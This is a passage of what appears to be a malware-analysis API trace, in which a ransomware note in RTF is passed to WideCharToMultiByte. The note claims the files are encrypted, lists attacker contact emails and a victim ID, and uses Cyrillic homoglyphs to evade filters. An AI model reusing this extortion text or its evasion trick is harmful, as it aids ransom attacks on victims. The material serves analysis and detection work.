r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.887] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 